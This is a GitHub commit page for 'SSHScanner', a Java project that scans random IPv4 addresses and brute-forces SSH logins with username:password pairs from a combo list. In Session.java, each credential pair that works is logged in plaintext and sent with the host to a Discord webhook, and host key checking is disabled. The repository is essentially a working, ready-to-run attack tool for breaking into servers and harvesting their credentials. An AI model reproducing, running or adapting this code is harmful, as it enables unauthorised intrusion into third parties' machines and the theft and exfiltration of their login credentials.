Skip to content

Commit b521c4c

Browse files
committed
Initial commit
1 parent 270f1f4 commit b521c4c

File tree

11 files changed

+753
-0
lines changed

11 files changed

+753
-0
lines changed

pom.xml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
<groupId>com.thisisnzed</groupId>
7+
<artifactId>SSHScanner</artifactId>
8+
<version>1.0-SNAPSHOT</version>
9+
<properties>
10+
<maven.compiler.source>8</maven.compiler.source>
11+
<maven.compiler.target>8</maven.compiler.target>
12+
</properties>
13+
<dependencies>
14+
<dependency>
15+
<groupId>org.projectlombok</groupId>
16+
<artifactId>lombok</artifactId>
17+
<version>1.18.24</version>
18+
<scope>provided</scope>
19+
</dependency>
20+
<dependency>
21+
<groupId>com.jcraft</groupId>
22+
<artifactId>jsch</artifactId>
23+
<version>0.1.55</version>
24+
</dependency>
25+
</dependencies>
26+
</project>
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
package com.thisisnzed.sshscanner;
2+
3+
import com.jcraft.jsch.JSch;
4+
import com.thisisnzed.sshscanner.arguments.ArgumentParser;
5+
import com.thisisnzed.sshscanner.arguments.Configuration;
6+
import com.thisisnzed.sshscanner.combo.Combo;
7+
import com.thisisnzed.sshscanner.session.Session;
8+
9+
import java.util.Random;
10+
import java.util.concurrent.ConcurrentHashMap;
11+
import java.util.stream.IntStream;
12+
13+
public class SSHScanner {
14+
15+
private final Configuration configuration;
16+
private final ArgumentParser argumentParser;
17+
private final Session session;
18+
private final Random random;
19+
private final ConcurrentHashMap<String, Boolean> hosts;
20+
private final Combo combo;
21+
22+
public SSHScanner(final String[] args) {
23+
this.configuration = new Configuration();
24+
this.argumentParser = new ArgumentParser(this.configuration, args);
25+
final String path = this.getClass().getProtectionDomain().getCodeSource().getLocation().getFile().substring(1);
26+
this.configuration.set("combo", path.replace(path.substring(path.lastIndexOf('/') + 1), "").replace("/", "\\") + "combo.txt");
27+
this.configuration.set("threads", 1);
28+
this.configuration.set("port", 22);
29+
this.configuration.set("timeout", 6000);
30+
this.configuration.set("webhook", "");
31+
this.configuration.set("verbose", true);
32+
33+
this.argumentParser.loadArguments();
34+
35+
this.random = new Random();
36+
this.combo = new Combo(this.configuration);
37+
this.hosts = new ConcurrentHashMap<>();
38+
this.session = new Session(combo, this.configuration, new JSch(), new java.util.Properties());
39+
}
40+
41+
public void start() {
42+
IntStream.range(0, Integer.parseInt(String.valueOf(this.configuration.get("threads")))).forEach(i -> new Thread(() -> {
43+
while (true) {
44+
final String host = (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1);
45+
if (!hosts.containsKey(host))
46+
this.combo.getCombo().stream().filter(combo -> hosts.getOrDefault(host, true)).forEach(combo -> hosts.put(host, session.connect(host, combo[0], combo[1])));
47+
}
48+
}).start());
49+
}
50+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.thisisnzed.sshscanner.arguments;
2+
3+
import java.util.Arrays;
4+
import java.util.concurrent.atomic.AtomicReference;
5+
6+
public class ArgumentParser {
7+
8+
private final Configuration configuration;
9+
private final String[] args;
10+
11+
public ArgumentParser(final Configuration configuration, final String[] args) {
12+
this.configuration = configuration;
13+
this.args = args;
14+
}
15+
16+
public void loadArguments() {
17+
final AtomicReference<String> latest = new AtomicReference<>("unknown");
18+
Arrays.stream(this.args).forEach(argument -> {
19+
if (!latest.get().equals("unknown")) {
20+
this.configuration.set(latest.toString().replaceFirst("-", ""), argument);
21+
latest.set("unknown");
22+
} else latest.set(argument);
23+
});
24+
}
25+
}
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package com.thisisnzed.sshscanner.arguments;
2+
3+
import java.util.concurrent.ConcurrentHashMap;
4+
5+
public class Configuration {
6+
7+
private final ConcurrentHashMap<String, Object> args;
8+
9+
public Configuration() {
10+
this.args = new ConcurrentHashMap<>();
11+
}
12+
13+
public void set(final String key, final Object value) {
14+
this.args.put(key, value);
15+
}
16+
17+
public Object get(final String key) {
18+
return this.args.get(key);
19+
}
20+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
package com.thisisnzed.sshscanner.combo;
2+
3+
import com.thisisnzed.sshscanner.arguments.Configuration;
4+
import com.thisisnzed.sshscanner.launch.Launch;
5+
import com.thisisnzed.sshscanner.utils.Logger;
6+
7+
import java.io.File;
8+
import java.util.ArrayList;
9+
import java.util.Scanner;
10+
11+
public class Combo {
12+
13+
private final ArrayList<String[]> combo;
14+
15+
public Combo(final Configuration configuration) {
16+
this.combo = new ArrayList<>();
17+
try {
18+
final File file = new File((String)configuration.get("combo"));
19+
if(!file.exists()) file.createNewFile();
20+
final Scanner scanner = new Scanner(file);
21+
while (scanner.hasNextLine())
22+
this.combo.add(scanner.nextLine().split(":"));
23+
} catch (final Exception exception) {
24+
exception.printStackTrace();
25+
}
26+
Logger.log("Loaded " + this.combo.size() + " combinations !");
27+
}
28+
29+
public ArrayList<String[]> getCombo() {
30+
return this.combo;
31+
}
32+
}
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package com.thisisnzed.sshscanner.launch;
2+
3+
import com.thisisnzed.sshscanner.SSHScanner;
4+
5+
public class Launch {
6+
7+
public static void main(final String[] args) {
8+
new SSHScanner(args).start();
9+
}
10+
}
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.thisisnzed.sshscanner.session;
2+
3+
import com.jcraft.jsch.JSch;
4+
import com.thisisnzed.sshscanner.arguments.Configuration;
5+
import com.thisisnzed.sshscanner.combo.Combo;
6+
import com.thisisnzed.sshscanner.utils.DiscordWebhook;
7+
import com.thisisnzed.sshscanner.utils.Logger;
8+
9+
import java.util.Properties;
10+
11+
public class Session {
12+
13+
private final Configuration configuration;
14+
private final JSch jSch;
15+
private final Properties properties;
16+
private final String falsePositive;
17+
18+
public Session(final Combo combo, final Configuration configuration, final JSch jSch, final Properties properties) {
19+
this.falsePositive = combo.getCombo().get(0)[0] + ":" + combo.getCombo().get(0)[1];
20+
this.configuration = configuration;
21+
this.jSch = jSch;
22+
this.properties = properties;
23+
this.properties.put("StrictHostKeyChecking", "no");
24+
}
25+
26+
public boolean connect(final String host, final String username, final String password) {
27+
final int port = Integer.parseInt(String.valueOf(this.configuration.get("port")));
28+
try {
29+
final com.jcraft.jsch.Session session = this.jSch.getSession(username, host, port);
30+
session.setPassword(password);
31+
session.setConfig(this.properties);
32+
session.setTimeout(Integer.parseInt(String.valueOf(this.configuration.get("timeout"))));
33+
session.connect();
34+
if (!(username + ":" + password).equals(this.falsePositive)) {
35+
Logger.log("[" + Thread.currentThread().getId() + "] " + username + "@" + host + ":" + port + " (password: " + password + ") | Connected");
36+
new DiscordWebhook((String) this.configuration.get("webhook")).sendWebhook(host, username, password, port);
37+
}
38+
session.disconnect();
39+
return false;
40+
} catch (final Exception exception) {
41+
if (Boolean.parseBoolean(String.valueOf(this.configuration.get("verbose"))))
42+
Logger.log("[" + Thread.currentThread().getId() + "] " + username + "@" + host + ":" + port + " (password: " + password + ") | " + exception.getMessage());
43+
return exception.getMessage().toLowerCase().contains("auth fail");
44+
}
45+
}
46+
}

0 commit comments

Comments
 (0)